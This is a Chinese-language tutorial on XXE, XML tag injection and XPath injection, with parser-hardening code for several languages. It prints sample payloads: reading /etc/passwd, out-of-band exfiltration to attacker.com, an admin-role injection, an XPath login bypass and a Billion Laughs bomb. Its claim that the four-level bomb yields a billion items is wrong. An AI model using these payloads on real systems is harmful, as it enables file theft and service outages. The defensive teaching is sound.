XXE 攻击原理与防护:从 XML 注入到实战防御
XML 解析器天生就会处理 DTD 中的外部实体引用——这个设计初衷是为了方便模块化文档管理,却被攻击者利用来读取服务器文件、发起内网请求,甚至执行代码。这就是 XXE(XML External Entity)攻击的核心原理。
2025 年 6 月,Apache Tika 爆出 CVE-2025-66516(CVSS 8.4),攻击者通过上传恶意 PDF 文件触发 XXE,读取服务器敏感文件——这说明 XXE 不是历史遗留问题,至今仍有新的攻击面被挖掘出来。
XXE 攻击是怎么发生的
XML 规范允许在 DTD(文档类型定义)中声明实体,其中 SYSTEM 类型的实体会让解析器去访问指定的 URI:
xml<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>
解析器在处理 &xxe; 时,会读取 /etc/passwd 的内容并替换进去。如果应用把解析结果返回给用户,敏感文件内容就泄露了。
哪怕应用不回显解析结果,攻击者依然可以通过外带(OOB)方式获取数据:
xml<!DOCTYPE data [ <!ENTITY xxe SYSTEM "http://attacker.com/collect?data=SECRET"> ]>
或者利用盲 XXE 通过响应时间差异来推断信息。
哪些场景容易中招
不是只有"接收 XML 参数的 API"才需要担心。以下场景都可能成为 XXE 的入口:
- SOAP Web Service:SOAP 消息本身就是 XML,如果后端没有安全配置解析器,直接沦陷
- 文件上传功能:SVG 图片、DOCX/PPTX 文档、XLSX 表格底层都是 XML 格式,上传恶意文件就可能触发 XXE
- SSO/SAML:SAML 断言是 XML 格式,身份认证流程中的 XXE 可能导致认证绕过
- RSS/Atom 订阅:聚合外部 RSS 源时,恶意 RSS 中的 XML 实体可能被解析
三种 XML 注入攻击类型
XXE(XML 外部实体注入)
最常见、危害最大。上面已经展示了攻击方式。核心危害包括:
- 读取服务器任意文件(
file://协议) - 发起 SSRF 攻击(
http://协议探测内网) - 拒绝服务(Billion Laughs 攻击,通过实体嵌套指数级膨胀 XML 体积)
- 在特定环境下远程代码执行(如 PHP expect 协议)
XML 标签注入
攻击者通过注入 XML 标签修改文档结构,篡改业务逻辑:
xml<!-- 正常请求 --> <user><name>John</name></user> <!-- 注入后:给自己加了个 admin 角色 --> <user><name>John</name><role>admin</role></user>
这类攻击的关键是应用直接把用户输入拼接到 XML 文档中,没有做转义或结构校验。
XPath 注入
类似 SQL 注入的思路,针对 XPath 查询:
xml// 正常查询 //user[username='john' and password='secret'] // 注入后:绕过密码验证 //user[username='john' or '1'='1' and password='anything']
防护方案
1. 禁用 DTD 和外部实体(最关键)
这是防护 XXE 的根本措施。不同语言的配置方式不同:
Java:
javaDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
disallow-doctype-decl 设为 true 会直接拒绝包含 DTD 的 XML,这是最严格的防护。如果业务必须使用 DTD,至少要禁用外部实体(后面三个 false)。
Python(lxml):
pythonfrom lxml import etree parser = etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True) tree = etree.parse("data.xml", parser=parser)
no_network=True 阻止解析器发起网络请求,切断 SSRF 攻击面。
PHP(8.0+):
php// PHP 8.0 起 libxml_disable_entity_loader() 已废弃 // 正确做法:使用 LIBXML_NOENT 标志配合内部实体处理 $dom = new DOMDocument(); $dom->loadXML($xmlString, LIBXML_NONET);
LIBXML_NONET 禁止网络访问,替代了已废弃的 libxml_disable_entity_loader()。
.NET:
csharpXmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; // 禁止 DTD settings.XmlResolver = null; // 禁止解析外部实体 XmlReader reader = XmlReader.Create(stream, settings);
2. 输入验证
在解析之前,先检查 XML 中是否包含危险结构:
javapublic boolean isSafeXML(String xml) { String upper = xml.toUpperCase(); return !upper.contains("<!DOCTYPE") && !upper.contains("<!ENTITY"); }
注意:输入验证是辅助手段,不能替代解析器安全配置。攻击者可能通过编码、注释等方式绕过字符串检测。
3. 使用 JSON 替代 XML
如果业务允许,直接用 JSON 代替 XML 作为数据交换格式。JSON 不支持实体和 DTD,从根本上消除了 XXE 风险。对于 REST API 来说,这通常是最简单的解决方案。
4. XPath 注入防护:参数化查询
和 SQL 注入用参数化查询一样,XPath 也支持变量绑定:
javaXPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); xpath.setXPathVariableResolver(varName -> { switch (varName) { case "username": return username; case "password": return password; default: return null; } }); XPathExpression expr = xpath.compile("//user[username=$username and password=$password]");
5. XML Schema 验证
用 XSD 约束 XML 文档的结构,拒绝不符合预期的输入:
javaSchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = sf.newSchema(new File("schema.xsd")); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setSchema(schema); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Schema 验证既防标签注入,也限制了 XML 的结构和内容。
6. 最小权限运行
即使 XXE 攻击成功,如果应用进程没有读取敏感文件的权限,攻击者也只能拿到低权限数据。容器化部署、只读文件系统、网络策略限制外联,都是纵深防御的一环。
Billion Laughs 攻击:一种特殊的拒绝服务
这种攻击利用实体嵌套让 XML 体积指数级膨胀:
xml<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <root>&lol4;</root>
&lol4; 展开后约 10 亿个 lol,轻松耗尽内存。防护方式同样是禁用 DTD——上面提到的解析器配置已经覆盖了这个场景。
检测和排查
- Burp Suite:拦截请求,手动注入 XXE payload 测试
- OWASP ZAP:自动化扫描 XXE 漏洞
- SonarQube:静态代码分析,检测不安全的 XML 解析配置
- XXEinjector:专门针对 XXE 的自动化检测工具,支持 OOB 和 Blind XXE
在 CI/CD 流程中集成 SAST 工具扫描 XML 解析相关代码,可以在部署前就发现风险配置。